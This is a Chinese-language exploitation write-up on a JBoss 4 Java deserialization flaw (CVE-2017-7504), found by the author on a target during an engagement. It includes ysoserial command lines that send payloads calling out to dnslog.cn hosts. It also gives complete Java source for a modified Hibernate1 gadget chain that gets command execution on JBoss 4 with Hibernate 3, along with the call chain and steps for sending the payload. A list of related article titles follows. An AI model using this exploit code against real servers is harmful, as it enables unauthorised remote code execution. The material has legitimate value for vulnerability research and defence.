一次老版本jboss反序列化漏洞的利用分析
1、前沿
在一次活動中意外發現目標一個偏遠的資產使用了老版本的jboss,使用漏洞掃描工具發現目標存在反序列化漏洞元件,如圖1.1所示。這個頁面允許訪問,基本上可以判斷CVE-2017-7504的漏洞。
圖1.1 Jboss反序列化漏洞利用點
此漏洞的細節很簡單,就是直接透過POST的方式向這個地址傳輸序列化之後的payload即可。為了方便,我們直接使用ysoserial來生成payload。
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://11.pzpfiy.dnslog.cn" > poc.ser
然後透過burp把生成的poc.ser傳送給目標地址,如圖1.2所示。
圖1.2 傳送序列化的payload
檢視DNSLOG的請求日誌,可以看到payload利用成果,記錄到dns請求日誌,如圖1.3所示。
看起來一切都很正常,如果事情就這麼簡單的進行,也就沒有寫一篇文章的必要了。上面的payload只能記錄dns請求,並不能執行系統命令。要執行系統命令,需要使用其他的利用鏈。網上有很多關於這個漏洞的exp和分析文章,基本上都是說的直接利用CommonsCollections利用鏈就可以成功了。
但是,實際情況是我把CC1-CC7都試了一遍,但是沒有一條鏈可以利用成功。我們以網上文章中用的最多的CC5為例來說明整個過程。
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "ping -n 1 22.pzpfiy.dnslog.cn" > poc.ser
然後與上面URLDNS利用鏈一樣,傳送生成的payload,結果是沒有收到ping傳送的dns請求,相當於命令沒有執行成功。
難道說CommonsCollections包不是jboss預設就引用的嗎?難道說低版本的jboss有一些奇怪的特性嗎?
2、探索
懷著對漏洞探索的精神,從網上找了很久找到一個與目標相同版本的漏洞環境。透過一定的手段拿到了我想要的原始碼。檢視jboss對應的目錄結構,發現確實是存在預設引用的CommonsCollections包,如圖2.1所示。
圖2.1 Jboss中存在的CommonsCollections包
但是用ysoserial來測試發現仍然不能測試成功,最後發現低版本的jboss引用的CommonCollections不是3.x的版本,而是2.x的版本。如圖2.2所示。
圖2.2 對比jboss和yso中的CommonCollections版本
這裡可以看出jboss中引入的是CommonsCollections2.1的版本,而一般我們平時能利用的版本都是3.x。而2.1的版本中因為缺少一些CC鏈必須的元件而不能利用,如圖2.3所示。
圖2.3 CommonsCollections2.1包中缺少必要的functors相關類
那麼還有沒有其他利用鏈可以被利用的呢?接下來需要對比ysoserial提供的全部利用鏈和jboss中引入的jar包來看。
第一個我看到的是JBossInterceptors1利用鏈,從名字來看這條利用鏈是專門的jboss相關利用鏈,但是實際上在我們的環境中根本就沒有找到這條鏈要用到的interceptor包中的類例如DefaultInvocationContextFactory,如圖2.4所示。所以這條鏈用不通。
圖2.4 目標環境中不存在DefaultInvocationContextFactory類
第二個我看到的是Hibernate1和Hibernate2,兩條利用鏈關於hibernate中的部分是一樣的,只是一個是透過JdbcRowSetImpl來觸發,另一個是透過xalan來觸發。我個人更喜歡xalan,所以直接透過Hibernate1利用鏈來除錯。
Hibernate1利用鏈中主要分成makeGetter和makeCaller兩個步驟。
在makeGetter中主要用到的類org.hibernate.property.BasicPropertyAccessor$BasicGetter在目標中也存在,我們就不過多贅述,有興趣的小夥伴可以去翻看ysoserial的原始碼。主要來看makeCaller這步,因為這步中用到的多個類在目標的jboss環境都不存在,如圖2.5、圖2.6所示。
圖2.5 ysoserial在makeCaller中用到的類
圖2.6 目標Jboss中不存在EntityEntityModeToTuplizerMapping類
所以我們直接利用ysoserial的Hibernate1利用鏈是不能成功的,但是仔細對Hibernate1利用鏈進行分析可以看出漏洞利用過程中的呼叫棧中並沒有涉及到上述不存在的類,上述不存在的類主要用於設定一些類的屬性欄位,可以透過其他類來代替。
重寫Hibernate1利用鏈,完整的程式碼如下所示。其中最主要的是修改了makeCaller中的部分邏輯。因為ysoserial在編寫Hibernate1利用鏈時主要是用於Hibernate4以上版本。而我們目標是Hibernate3的版本。
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.hibernate.EntityMode; import org.hibernate.engine.TypedValue; import org.hibernate.tuple.AbstractComponentTuplizer; import org.hibernate.tuple.PojoComponentTuplizer; import org.hibernate.tuple.Tuplizer; import org.hibernate.tuple.TuplizerLookup; import org.hibernate.type.AbstractType; import org.hibernate.type.Type; import org.hibernate.type.ComponentType; import java.io.*; import java.lang.reflect.*; import java.util.HashMap; import java.util.Map; public class JbossOld { public static Object generatePayload() throws Exception { String command = "ping -n 1 22.v9t25u.dnslog.cn"; Object tpl = Gadgets.createTemplatesImpl(command); TemplatesImpl tl = (TemplatesImpl) tpl; // tl.getOutputProperties(); Object getters = makeGetter(tpl.getClass(), "getOutputProperties"); return makeCaller(tpl, getters); //return null; } public static Object makeGetter ( Class<?> tplClass, String method ) throws Exception{ Class<?> getterIf = Class.forName("org.hibernate.property.Getter"); Class<?> basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter"); Constructor<?> bgCon = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class); Reflections.setAccessible(bgCon); if ( !method.startsWith("get") ) { throw new IllegalArgumentException("Hibernate can only call getters"); } String propName = Character.toLowerCase(method.charAt(3)) + method.substring(4); Object g = bgCon.newInstance(tplClass, tplClass.getDeclaredMethod(method), propName); Object arr = Array.newInstance(getterIf, 1); Array.set(arr, 0, g); return arr; } static Object makeCaller ( Object tpl, Object getters ) throws Exception { Class typedValueClass = Class.forName("org.hibernate.engine.TypedValue"); PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class); Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters); Reflections.getField(AbstractComponentTuplizer.class, "propertySpan").set(tup, 1); ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]); HashMap hm = new HashMap(); hm.put(EntityMode.POJO, tup); Class<?> tlClazz = Class.forName("org.hibernate.tuple.TuplizerLookup"); Constructor<?> tlCon = tlClazz.getDeclaredConstructor(Tuplizer.class, Tuplizer.class, Tuplizer.class); Reflections.setAccessible(tlCon); Object tuplizerLookup = tlCon.newInstance(null, null, null); Reflections.setFieldValue(tuplizerLookup, "pojoTuplizer", tup); Reflections.setFieldValue(t, "tuplizers", tuplizerLookup); Reflections.setFieldValue(t, "propertySpan", 1); Reflections.setFieldValue(t, "propertyTypes", new Type[] { t }); Constructor<?> typedValueConstructor = typedValueClass.getDeclaredConstructor(Type.class, Object.class, EntityMode.class); Object v1 = typedValueConstructor.newInstance(t, null, EntityMode.POJO); Reflections.setFieldValue(v1, "value", tpl); Reflections.setFieldValue(v1, "type", t); Object v2 = typedValueConstructor.newInstance(t, null, EntityMode.POJO); Reflections.setFieldValue(v2, "value", tpl); Reflections.setFieldValue(v2, "type", t); return Gadgets.makeMap(null, v2); } public static void main(String[] args) throws Exception { payload2File(generatePayload(),"test.ser"); payloadTest("test.ser"); } public static void payload2File(Object instance, String file) throws Exception { //將構造好的payload序列化後寫入檔案中 ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(file)); out.writeObject(instance); out.flush(); out.close(); } public static void payloadTest(String file) throws Exception { //讀取寫入的payload,並進行反序列化 ObjectInputStream in = new ObjectInputStream(new FileInputStream(file)); in.readObject(); in.close(); }}
除錯反序列化利用鏈的程式碼是一個很麻煩的事情,有興趣的小夥伴可以把我上面的程式碼去跟一下,其中主要用到的呼叫過程如下。其中標紅部分都和傳統Hibernate1利用鏈不一樣。
java.util.HashMap readObject() -->
org.hibernate.engine.TypedValue hashCode() -->
org.hibernate.type getHashCode() -->
org.hibernate.type. ComponentType getPropertyValues() -->
org.hibernate.tuple. PojoComponentTuplizer getPropertyValues() -->
org.hibernate.tuple getPropertyValue() -->
org.hibernate.property get() -->
om.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl getOutputProperties()
透過上面程式碼生成test.ser的payload檔案,向目標地址傳送對應的payload,如圖2.7所示。
圖2.7 傳送改進的Hibernate1利用鏈
然後在DNSLOG平臺就可以看到由於ping命令導致的命令執行結果,如圖2.8所示。這也就代表我們整個利用鏈除錯成功。
3、結論
目前ysoserial中的Hibernate利用鏈是針對Hibernate4及以上版本,本文提出的主要是在實際工作中遇到的jboss4+hibernate3的解決方案。屬於對原有ysoserial中反序列化利用鏈的最佳化。
相關文章
- JBoss5.x6.x 反序列化漏洞2020-11-05
- Jboss反序列化漏洞復現(CVE-2017-12149)2019-07-30
- CVE-2017-7504 JBOSS反序列化漏洞復現2021-01-04
- BlueKeep 漏洞利用分析2019-09-20
- 從反序列化到型別混淆漏洞——記一次 ecshop 例項利用2020-07-09型別
- 漏洞分析 | Dubbo2.7.7反序列化漏洞繞過分析2020-07-02
- Apache Shiro 反序列化漏洞分析2021-11-12Apache
- Shiro 550反序列化漏洞分析2021-10-07
- SnakeYaml的不出網反序列化利用分析2023-02-25YAML
- WebLogic 反序列化漏洞深入分析2022-09-29Web
- CRLF Injection漏洞的利用與例項分析2020-08-19
- netty系列之:使用Jboss Marshalling來序列化java物件2022-05-18NettyJava物件
- cve-2014-0569 漏洞利用分析2020-08-19
- Fastjson 反序列化漏洞分析 1.2.25-1.2.472022-01-25ASTJSON
- Fastjson反序列化漏洞分析 1.2.22-1.2.242022-01-21ASTJSON
- Java安全之Cas反序列化漏洞分析2021-05-27Java
- Ladon7.4 CVE-2020-0688 Exchange序列化漏洞利用2020-10-06
- Thinkphp 反序列化利用鏈深入分析2019-09-29PHP
- CVE-2015-1538漏洞利用中的Shellcode分析2020-08-19
- 從commons-beanutils反序列化到shiro無依賴的漏洞利用2021-10-13Bean
- 有隙可乘 - Android 序列化漏洞分析實戰2024-05-16Android
- java RMI相關反序列化漏洞整合分析2020-08-19Java
- Java安全之Shiro 550反序列化漏洞分析2020-12-24Java
- (CVE-2019-5786) 漏洞原理分析及利用2020-07-01
- CVE-2014-4113漏洞利用過程分析2020-08-19
- IORegistryIterator競爭條件漏洞分析與利用2020-08-19
- 永恆之藍漏洞利用機制分析2020-08-03
- Typo3 CVE-2019-12747 反序列化漏洞分析2019-08-02
- JAVA反序列化漏洞完整過程分析與除錯2020-08-19Java除錯
- Java序列化、反序列化、反序列化漏洞2024-09-25Java
- 記一次php反序列化漏洞中的POPchain和POC構造實戰2024-04-09PHPAI
- common-collections中Java反序列化漏洞導致的RCE原理分析2020-08-19Java
- 【趙強老師】利用Python完成資料分佈特徵的分析2021-11-23Python特徵
- python 反序列化漏洞2024-05-12Python
- php反序列化漏洞2020-10-06PHP
- fastjson反序列化漏洞2024-09-22ASTJSON
- JMX 反序列化漏洞2024-07-18
- ruoyi漏洞利用2024-07-02